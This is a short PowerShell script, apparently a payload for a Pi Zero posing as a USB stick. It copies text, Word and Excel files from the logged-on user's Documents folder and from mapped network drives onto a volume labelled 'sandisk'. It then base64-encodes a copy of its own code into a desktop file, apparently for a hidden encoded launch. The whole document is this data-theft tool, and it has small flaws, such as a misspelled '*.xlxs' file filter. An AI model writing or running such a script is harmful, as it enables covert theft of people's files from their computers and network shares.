#logged on user $wh = whoami $uName = $wh.Split("\")[1] #Pi Zero $usbPath = gwmi win32_volume $san = $usbpath | where {$_.label -eq "sandisk"} | select name #Copy local files to Pi copy-Item "C:\users\$uname\Documents\*" $san.name -Include "*.txt", "*.docx", "xlsx" #Network mapped drives $dr = psdrive $fs = $dr.provider | where {$_.Name -eq "fileSystem"} $maps = $fs[0].Drives $first = 10 foreach ($mapin in $maps) { if ($mapin.Name -ne "C") { Write-Host $mapin $lf = Get-Childitem $mapin.root -Recurse -Depth 1 -Include "*.txt","*.docx","*.xlxs" | Select-Object $first Copy-Item $lf.fullname $san.name -Force } } $b64 = ‘ #logged on user $wh = whoami $uName = $wh.Split("\")[1] #Pi Zero $usbPath = gwmi win32_volume $san = $usbpath | where {$_.label -eq "sandisk"} | select name #Copy local files to Pi copy-Item "C:\users\$uname\Documents\*" $san.name -Include "*.txt", "*.docx", "*.xlsx" #Network mapped drives $dr = psdrive $fs = $dr.provider | where {$_.Name -eq "fileSystem"} $maps = $fs[0].Drives $first = 10 foreach ($mapin in $maps) { if ($mapin.Name -ne "C") { Write-Host $mapin $lf = Get-Childitem $mapin.root -Recurse -Depth 1 -Include "*.txt","*.docx","*.xlxs" | Select-Object $first Copy-Item $lf.fullname $san.name -Force } } ’ $gb = [System.Text.Encoding]::Unicode.GetBytes($b64) $en =[Convert]::ToBase64String($gb) $en | Out-File C:\users\Administrator\Desktop\encodeMApped.txt